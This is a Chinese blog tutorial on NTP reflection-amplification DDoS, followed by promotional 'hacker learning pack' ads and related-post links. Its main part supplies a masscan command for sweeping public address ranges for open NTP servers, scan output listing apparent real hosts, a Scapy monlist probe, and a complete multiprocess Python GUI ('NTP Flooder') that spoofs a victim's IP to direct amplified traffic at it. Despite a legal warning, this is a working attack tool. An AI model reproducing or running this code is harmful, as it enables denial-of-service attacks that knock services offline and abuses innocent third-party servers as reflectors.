DDOS攻击教程(非常详细)零基础入门到精通,收藏这一篇就够了

什么是DDoS攻击?DDoS攻击的原理是什么? 总之,DDoS攻击已成为网络安全领域的一大顽疾,由于其技术门槛相对较低,使得这种攻击方式愈发猖獗。面对其带来的巨大危害,无论是企业还是个人,都不能掉以轻心。我们需要加强安全意识,采取有效的防护措施,包括增强服务器和网络的安全性能、使用高效的安全设备和软件、建立完善的应急响应机制等。同时,政府和社会各界也应加大打击网络犯罪的力度,共同维护网络空间的安全与稳定。只有这样,我们才能确保网络环境的安全可靠,让信息化时代真正造福于每一个人。 阅读详情
AI摘要

本文介绍了DDoS攻击的基本概念及分类,重点讲解了反射放大型DDoS的原理和实现过程。通过分析NTP协议的漏洞,演示如何利用MONLIST功能发起攻击,并提供实际测试脚本和验证方法。文章强调合法使用的重要性,提醒读者不得非法攻击他人设备。

敬告:

《中华人民共和国刑法》第二百八十六条【破坏计算机信息系统罪;网络服务渎职罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。

一、DDos攻击方式的选择?

DDos攻击,通常指使用大量网络设备,向某个指定主机发送大量无用的数据包,阻塞其网络,使得正常的数据包无法稳定传输,而达到拒绝服务的一种攻击方式。

1. DDos的分类:

总体分类来看,DDOS可以分为三类:

  1. 直接攻击型(往往需要大量僵尸主机,与我们的目标-低成本DDOS背道而驰)
  2. 反射型(虽然不需要大量僵尸网络,也可以隐藏真实ip,但是却无法放大流量)
  3. 反射放大型(在反射的基础之上增加放大,威力加倍)
2. 放大型DDos的步骤:

以此来看呢,很明显,反射放大型DDOS是性价比最高的DDOS攻击。放大型DDos具体的原理非常简单,大致分为四个步骤:

  1. 攻击者将有欺骗性 IP 地址的 UDP 数据包发送到反射服务器。数据包上的欺骗性地址指向受害者的真实 IP 地址。
  2. 每个 UDP 数据包都向反射服务器发出请求,通常是基于某个协议,以接收尽可能最大的响应。
  3. 反射服务器收到请求后,会向欺骗性 IP 地址发送较大的响应。

目标的 IP 地址接收响应,其周边的网络基础设施被大量流量淹没,从而导致拒绝服务。达到四两拨千斤的攻击效果。放大攻击示意图

在反射放大型DDos的实际操作过程中,有许多协议都可以利用,其中较为著名的有DNS放大,SSDP放大,NTP放大等。放大倍率如下:

常见放大攻击
协议端口理论放大倍数
DNS5328~54
NTP123556.9
SNMP1616.3
SSDP190030.8
PОRTMAP1117~28
QOTD17140.3
CHARGEN19358.8
TFTP6960
NETBIOS1383.8
MEMCACHED1121110000~50000
WS_DISCOVERY370270~500
CLDAP38956~70

可见,其中放大倍率最高的攻击为MEMCACHED协议。然而,MEMCACHAED放大DDOS已经被几乎完全修复。

因此,本文中我将带领大家实现NTP型DDos(也是目前被黑客最广泛应用的DDos方式之一)。


二、NTP协议的漏洞?

首先,我们具体分析一下NTP协议:

NTP协议中,包含一个MONLIST功能,该功能的初衷是用于监控NTP服务器。客户端可以构建一个90字节的Mongetlist数据包发送给NTP服务器。然后服务器接收到monlist请求后,就会响应100个数据包,每个数据包482字节。


三、理论验证?

1. 收集反射源:

因此说,想要实现NTP型DDos,就必须收集反射服务器,也就是查找开放123端口的主机。扫描主机时,我们可以使用masscan高速互联网端口扫描软件。在Kail linux系统中输入以下命令就可以扫描。

sudo masscan -pU:123 -oX ntp.xml --rate 160000 110.0.0.0-124.0.0.0

这个命令的大致意思是:

  • -Pu:123(使用UDP协议扫描端口123)
  • -oX ntp.xml(输出文件,文件格式为xml,输出目标为ntp.xml)
  • –rate 160000(扫描速度为每秒160000个数据包,带宽越大,这个数字就可以填写的越大)
  • 110.0.0.0-124.0.0.0(扫描的ip网段,扫描全网时间太久)
<?xml version="1.0"?>
<!-- masscan v1.0 scan -->
<nmaprun scanner="masscan" start="1729074937" version="1.0-BETA"  xmloutputversion="1.03">
<scaninfo type="syn" protocol="tcp" />
<host endtime="1729074937"><address addr="111.87.65.18" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729075703"><address addr="119.195.171.9" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729076264"><address addr="121.247.27.190" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729076270"><address addr="116.147.121.133" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729078039"><address addr="113.111.104.235" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729079781"><address addr="113.111.128.34" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
...
<host endtime="1729080374"><address addr="119.172.95.233" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729082019"><address addr="120.204.117.76" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729083980"><address addr="123.119.8.68" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729086213"><address addr="115.140.209.102" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729086373"><address addr="114.252.232.105" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
<host endtime="1729090630"><address addr="122.222.248.16" addrtype="ipv4"/><ports><port protocol="udp" portid="123"><state state="open" reason="none" reason_ttl="0"/></port></ports></host>
2. 验证反射源:

接下来我们随便从中选择一个ip,用Python的Scapy发送一个MONGETLIST请求,看看会不会响应:

from scapy.all import *

data = "\x17\x00\x03\x2a" + "\x00" * 44  # NTP monlist packet
packet = IP(dst="103.97.200.65") / UDP(sport=22333, dport=123) / Raw(load=data)
send(packet)

这里我们首先构建一个data数据包,其中的数据就是一个monlist的请求。接下来我们可以使用Wireshark来监听我们自己的端口22333,来检查NTP服务器是否响应了我们的请求。

可见我们的主机发送了一个90字节的请求后,NTP服务器立马响应了100个数据包,每个数据包都是482个字节。

至此,我们的理论验证没有问题。


四、编写最终脚本

1. 测试用的脚本:

接下来我们完善一下发送数据包的脚本,增加一个UI面板,同时实现多线程同时发包。这样就能测试在反复发包时候的流量倍率了。

import base64
import tkinter as tk
from collections import Counter
from multiprocessing import Process, Value, freeze_support
from tkinter import filedialog, messagebox, scrolledtext
import threading
import time
from scapy.all import *
from logo import *

sending = Value('i', 0)


def stop_filter(stop_event):
    return stop_event.is_set()


def sniffer(collected_ips, all_packets, stop_event, adepter):
    # Sniffs incoming network traffic on UDP port 123
    sniff(filter="udp port 123", store=0, prn=lambda p: analyser(p, collected_ips, all_packets),
          iface="WLAN", stop_filter=lambda x: stop_filter(stop_event))


def analyser(packet, collected_ips, all_packets):
    if len(packet) > 200 and packet.haslayer(IP):
        ip_src = packet.getlayer(IP).src
        all_packets.append(ip_src)
        if ip_src not in collected_ips:
            collected_ips.append(ip_src)


def get_available_monlist_servers(monlist_path, scantimes=2, fliter_magnification='1', adepter="WLAN", scandelay=0.02):
    collected_ips = []  # List to store collected IPs
    all_packets = []
    stop_event = threading.Event()  # Create a stop event

    # Start the sniffer thread
    sniffer_thread = threading.Thread(target=sniffer, args=(collected_ips, all_packets, stop_event, adepter))
    sniffer_thread.start()

    # Send packets to each address from the monlist file
    for i in range(scantimes):
        with open(monlist_path, 'r', encoding='utf-8') as logfile:
            for address in logfile:
                address = address.strip()
                send(IP(dst=address) / UDP(sport=123, dport=123) / Raw(load=b"\x10\x00\x03\x20" + b"\x00" * 44),
                     verbose=0, iface=adepter)
                time.sleep(scandelay)
    time.sleep(5)
    # Set the stop event to signal the sniffer to stop
    stop_event.set()
    # send a packet to trigger the stop event
    send(IP(dst="127.0.0.1") / UDP(sport=123, dport=123) / Raw(load="shutdown"), iface=adepter, verbose=0)

    # Wait for the sniffer thread to finish
    sniffer_thread.join()
    count = Counter(all_packets)

    # 排序完成

    # 筛选出发包次数较多的反弹服务器
    if fliter_magnification == 'disable':
        sorted_count = list(dict(sorted(count.items(), key=lambda item: item[1], reverse=True)).keys())
        return sorted_count, sorted_count

    result = list(dict(
        sorted(((key, value) for key, value in count.items() if value > int(fliter_magnification) * scantimes),
               key=lambda item: item[1], reverse=True)).keys())
    return result, result  # Return the collected IPs list


def send_packets_(text, target_ip, target_port, sending, adepter):
    ntp_servers = text.split('\n')
    if target_port == 'random':
        while sending.value:
            mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(1, 65535), dport=123) / Raw(
                load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
            send(mpacket, verbose=0, iface=adepter)
    elif '-' in target_port:
        ports = target_port.split('-')
        print(ports)
        while sending.value:
            mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(int(ports[0]), int(ports[1])),
                                                               dport=123) / Raw(
                load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
            send(mpacket, verbose=0, iface=adepter)
    else:
        mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=int(target_port), dport=123) / Raw(
            load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
        while sending.value:
            send(mpacket, verbose=0, iface=adepter)


class PacketSenderApp:
    def __init__(self, master):
        self.master = master
        self.master.title("NTP Flooder")

        # Variables
        self.scandelay = tk.DoubleVar(value=0.02)
        self.scantimes = tk.IntVar(value=2)
        self.adepter = tk.StringVar(value='WLAN')
        self.monlist_path = tk.StringVar()
        self.target_ip = tk.StringVar(value = get_if_addr('WLAN'))
        self.process_count = tk.IntVar(value=1)
        self.target_port = tk.StringVar(value='random')
        self.check_servers = tk.BooleanVar()
        self.magnification = tk.StringVar(value='disable')

        # UI Elements
        tk.Label(master, text="Monlist File:").grid(row=0, column=0)
        tk.Entry(master, textvariable=self.monlist_path).grid(row=0, column=1)
        tk.Button(master, text="Browse", command=self.browse_monlist).grid(row=0, column=2)

        tk.Label(master, text="Target IP:").grid(row=1, column=0)
        tk.Entry(master, textvariable=self.target_ip).grid(row=1, column=1)

        tk.Label(master, text="Target port:").grid(row=2, column=0)
        tk.Entry(master, textvariable=self.target_port).grid(row=2, column=1)

        tk.Label(master, text="Process Count:").grid(row=3, column=0)
        tk.Entry(master, textvariable=self.process_count).grid(row=3, column=1)

        self.start_button = tk.Button(master, text="Start Sending", command=self.start_stop_sending)
        self.start_button.grid(row=4, columnspan=3)

        self.check_button = tk.Button(master, text="Check Available Servers", command=self.check_available_servers)
        self.check_button.grid(row=5, columnspan=3)

        # 文本框:显示可用的 NTP 服务器
        self.server_text = scrolledtext.ScrolledText(master, width=40, height=10)
        self.server_text.grid(row=6, columnspan=3)

        tk.Label(master, text="Magnification filter:").grid(row=7, column=0)
        tk.Entry(master, textvariable=self.magnification).grid(row=7, column=1)

        tk.Label(master, text="Net Adepter").grid(row=8, column=0)
        tk.Entry(master, textvariable=self.adepter).grid(row=8, column=1)

        tk.Label(master, text="Scan times").grid(row=9, column=0)
        tk.Entry(master, textvariable=self.scantimes).grid(row=9, column=1)

        tk.Label(master, text="Scan Delay(s)").grid(row=10, column=0)
        tk.Entry(master, textvariable=self.scandelay).grid(row=10, column=1)

        self.is_sending = 0

        self.master.protocol("WM_DELETE_WINDOW", self.on_closing)

    def on_closing(self):
        if self.is_sending:
            if messagebox.askyesno("Confirm", "Packets are currently being sent. Do you really want to exit?"):
                self.is_sending = 0
                sending.value = 0
                self.master.destroy()  # 关闭窗口
        else:
            self.master.destroy()  # 直接关闭窗口

    def browse_monlist(self):
        file_path = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
        self.monlist_path.set(file_path)
        if not os.path.exists(self.monlist_path.get()):
            return
        with open(file_path, 'r', encoding='utf-8') as f:
            self.server_text.delete(1.0, tk.END)
            self.server_text.insert(tk.END, f.read())

    def start_stop_sending(self):
        if not self.is_sending:
            process_count = self.process_count.get()
            self.is_sending = 1
            self.start_button.config(text="Stop Sending")

            text = self.server_text.get(1.0, tk.END)
            target_ip = self.target_ip.get()
            target_port = self.target_port.get()
            sending.value = 1
            for i in range(process_count):
                Process(target=send_packets_, args=(text, target_ip, target_port, sending, self.adepter.get())).start()
        else:
            self.is_sending = 0
            sending.value = 0
            self.start_button.config(text="Start Sending")

    def check_available_servers(self):
        monlist_path = self.monlist_path.get()
        _, servers = get_available_monlist_servers(monlist_path, fliter_magnification=self.magnification.get(),
                                                   adepter=self.adepter.get(), scandelay=self.scandelay.get(),
                                                   scantimes=self.scantimes.get())  # 假设这个函数返回可用的服务器列表

        self.server_text.delete(1.0, tk.END)  # 清空文本框
        for server in servers:
            self.server_text.insert(tk.END, f"{server}\n")  # 在文本框中添加可用服务器
        return servers


if __name__ == "__main__":
    freeze_support()
    root = tk.Tk()

    icon = open("gui_icon.ico", "wb+")
    icon.write(base64.b64decode(img))  # 写入到临时文件中
    icon.close()
    root.iconbitmap("gui_icon.ico")
    os.remove("gui_icon.ico")

    app = PacketSenderApp(root)
    root.mainloop()

直接运行代码

2. 脚本的使用方法:

这个脚本的使用方法非常简单:

  1. 在输入框中输入可用的反射源(NTP服务器),或者从txt文件中加载。
  2. 输入目标ip(这里我输入我自己的ip,这样就可以监控返回的流量)
  3. 输入目标端口(NTP端口123)
  4. 输入线程数,线程越多,威力越大,但是需要更强的网卡和CPU(我这里输入1,是因为我主要用于测试反射放大倍率)
  5. 点击“start sending”开始udp洪水
3. 测试DDos的流量:

我们接下来在任务管理器里监听一下网卡的流量:

可见发包流量在500Kbps时,返回的数据流量达到了120Mbps。做一个简单的除法就能得到其放大倍率是240倍。虽然没有达到理论的500倍放大,但依然是很强的流量了

依照这样计算,攻击者就算使用普通的家庭宽带服务,100兆的上传流量,就可以打出2400兆的攻击流量。对于一些国内的低带宽服务器,完全是碾压式的攻击。在把受害者所有的上行流量占满后,任何流量清洗或防火墙都是纸糊的装甲。

至此,我们复现NTP型DDos就算圆满完成了。但是这里还是要提醒大家,请勿攻击他人的设备或服务器,否则都将会受到法律的制裁。

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

什么是ddos攻击,如何低成本防御ddos攻击? 时至今日,DDoS攻击依然是网络系统所面临的主要威胁之一 阅读详情

相关推荐

什么是DDos攻击?一篇文章告诉你

什么是ddos攻击?

effort666的博客 2864

一文秒懂什么是DDoS攻击

DDoS攻击一般指分布式拒绝攻击,是一种攻击者操纵大量计算机,或位于不同位置的多个攻击者,在短时间内通过将攻击伪装成大量的合法请求,向服务器资源发动的攻击,导致请求数量超过了服务器的处理能力,造成服务器运行缓慢或者宕机。通常由僵尸网络用于执行此恶意任务,由于攻击的发出点是分布在不同地方的,

jennycisp的博客 1万+

Debian下Rust环境极速安装指南:国内镜像+避坑配置(附清华/中科大源对比)

本文详细介绍了在Debian系统上快速安装和配置Rust开发环境的完整指南。针对国内网络环境,重点对比评测了清华大学、中国科学技术大学等主流镜像源,提供了详细的安装配置步骤、Cargo优化技巧以及常见问题排查方案,帮助开发者显著提升依赖下载和编译效率。

s8t9u0v1w的博客 1162

【网络安全】DDoS攻击详解

一个比较完善的DDos攻击体系主要是由四大部分所组成,分别是(1)主攻击机( attacker也可以称为master)、(2)控制傀儡机( handler)、(3)攻击傀儡机( demon,又可称agent)以及(4)受攻击机( victim)。

程序员若风的博客 5868

吉林大学2016级唐班c语言期末考试B卷

` #include<stdio.h> #include<stdlib.h> //双指针法,每次从a,b中选一个最大的数,从后向前一次放在数组a中 int merge(int *a,int m,int *b,int n){ int i=m-1,j=n-1,k=m+n-1; while(i>=0&&j>=0){ if(a[i]>b[j])a[...

weixin_42339173的博客 1195

保姆级教程:在Zynq UltraScale+ EV系列FPGA上,用VCU IP核搞定4K60帧H265视频解码与HDMI2.0输出

本文提供在Zynq UltraScale+ EV系列FPGA上使用VCU IP核实现4K60帧H265视频解码与HDMI2.0输出的全流程指南。从开发环境准备、Vivado工程配置到PetaLinux系统定制,详细解析硬件选型、IP核参数设置及性能优化技巧,帮助开发者快速构建高效视频处理系统。

weixin_30800987的博客 433

DDOS攻击原理(非常详细)从零基础入门到精通,看完这一篇就够了

2.1 DDoS攻击原理DDoS攻击(Distributed Denial of Service Attack,分布式拒绝服务攻击)的前身是DoS攻击(Denial of Service Attack,拒绝服务攻击),是指一种通过各种技术手段导致目标系统进入拒绝服务状态的攻击。DDoS攻击可以看作DoS攻击的Plus版本,它可以将分布在不同地方的多台计算机联合起来形成攻击平台,对一个或多个目标发动攻击,从而产生成倍的拒绝服务攻击的威力。

leah126的博客 5万+

C++ 类

本文介绍了C++中类的核心概念和使用方法。

weixin_54859557的博客 1016

Kali常见攻击手段(非常详细),零基础入门到精通,看这一篇就够了

Kali常见攻击手段(非常详细),零基础入门到精通,看这一篇就够了

分享Python知识 9842

RT-DETR改进策略【模型轻量化】| 替换骨干网络为 2024轻量化网络MoblieNetV4:移动生态系统的通用模型

本文记录的是基于MobileNet V4的RT-DETR目标检测轻量化改进方法研究。通过整合UIBMobile MQA以及优化的NAS策略能够在在不降低性能指标的前提下,降低计算成本。本文配置了原论文中和五种模型,以满足不同的需求。

Limiiiing的博客 1924

深度学习论文: AnomalyDINO: Boosting Patch-based Few-shot Anomaly Detection with DINOv2

通过将DINOv2模型适应到一次性和少量异常检测中,并专注于工业应用少量异常检测。实验表明,这种方法不仅与现有技术相匹敌,甚至可以在许多设置中超越它们。我们提出的仅视觉方法AnomalyDINO基于补丁相似性,能够实现图像级别的异常预测和像素级别的异常分割。该方法在方法论上很简单,无需训练,因此不需要任何额外的数据进行微调或元学习。

mingo_敏 1906

什么是DDoS攻击?DDoS攻击的原理是什么?(非常详细)零基础入门到精通,收藏这一篇就够了

2022年游戏公司DDoS攻击事件:在2022年,某知名游戏公司的服务器受到了DDoS攻击的严重影响,导致游戏服务中断,给用户带来了极大的不便。近年来,随着网络技术的普及和攻击工具的易得性,DDoS攻击的频率和规模都在不断上升,给企业和个人带来了严重的损失。第三次握手ACK(即确认字符(Acknowledge character)包):客户端收到服务器的SYN-ACK数据包后,会发送一个带有ACK(确认)标志的数据包给服务器,确认收到服务器的SYN-ACK数据包。”的小纸条给网站服务器。

Javachichi的博客 1万+

VEML7700环境光传感器原理图设计,已量产(光线传感器)

最近做便携显示设备的自动亮度调节模块,最终敲定了 VEML7700 这款数字光传感器 —— 一是它 0~120klx 的宽量程刚好覆盖 “暗室→户外强光” 的全场景,二是 Filtron™技术让它的光谱响应和人眼高度贴合,测出来的 “亮度” 更符合实际视觉感受,加上 O-Trim™技术把输出公差压到 10% 以内,省了不少后期校准的功夫。搭好电路后串口直接读 lx 数值,稳定性和精度都够,这篇聊聊这个模块的硬件设计细节。

不脱发的程序猿 606

DDos攻击使用指南,零基础入门到精通,收藏这篇就够了

sudo -i2.输入进入DDos目录有的人在这里可能会遇到无法进入的问题首先我们检查文字大小写有没有问题如果无误那应该是没有配置好文件只需输入即可clone,一般能解决掉问题当然问题有问多种,我在进行实操的时候它却提示无法克隆我在网上找了许多解决方法,最终成功的是将“https”更换为“git”,也就是说这样便可以完成配置。3.继续输入chmod +x ddos-attack.py设置权限这条命令输入后并没有提示,所以大家确保输入正确就可以了。

dzqxwzoe的博客 1200

Matlab基于PSO-MVMD粒子群算法优化多元变分模态分解

Matlab基于PSO-MVMD粒子群算法优化多元变分模态分解

机器学习之心的博客,关注并私信文章链接,获取对应文章源码和数据。 518

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

一文秒懂什么是DDoS攻击(非常详细),零基础入门到精通,看这一篇就够了

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

kjuhfkicf154的博客 2851

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

DDOS攻击原理(非常详细)从零基础入门到精通,看完这一篇就够了_ddos原理

2.1 DDoS攻击原理DDoS攻击(Distributed Denial of Service Attack,分布式拒绝服务攻击)的前身是DoS攻击(Denial of Service Attack,拒绝服务攻击),是指一种通过各种技术手段导致目标系统进入拒绝服务状态的攻击。DDoS攻击可以看作DoS攻击的Plus版本,它可以将分布在不同地方的多台计算机联合起来形成攻击平台,对一个或多个目标发动攻击,从而产生成倍的拒绝服务攻击的威力。

韩束一叶子 1994

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

DDOS攻击原理(非常详细)从零基础入门到精通,看完这一篇就够了_ddos攻击原理图示

2.1 DDoS攻击原理DDoS攻击(Distributed Denial of Service Attack,分布式拒绝服务攻击)的前身是DoS攻击(Denial of Service Attack,拒绝服务攻击),是指一种通过各种技术手段导致目标系统进入拒绝服务状态的攻击。DDoS攻击可以看作DoS攻击的Plus版本,它可以将分布在不同地方的多台计算机联合起来形成攻击平台,对一个或多个目标发动攻击,从而产生成倍的拒绝服务攻击的威力。

2401_84301227的博客 4141
上一篇: 什么是DDoS攻击?怎么防御DDoS攻击?
下一篇: 网络安全】DDoS攻击详解_ddos攻击流程,零基础入门到精通,收藏这篇就够了
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值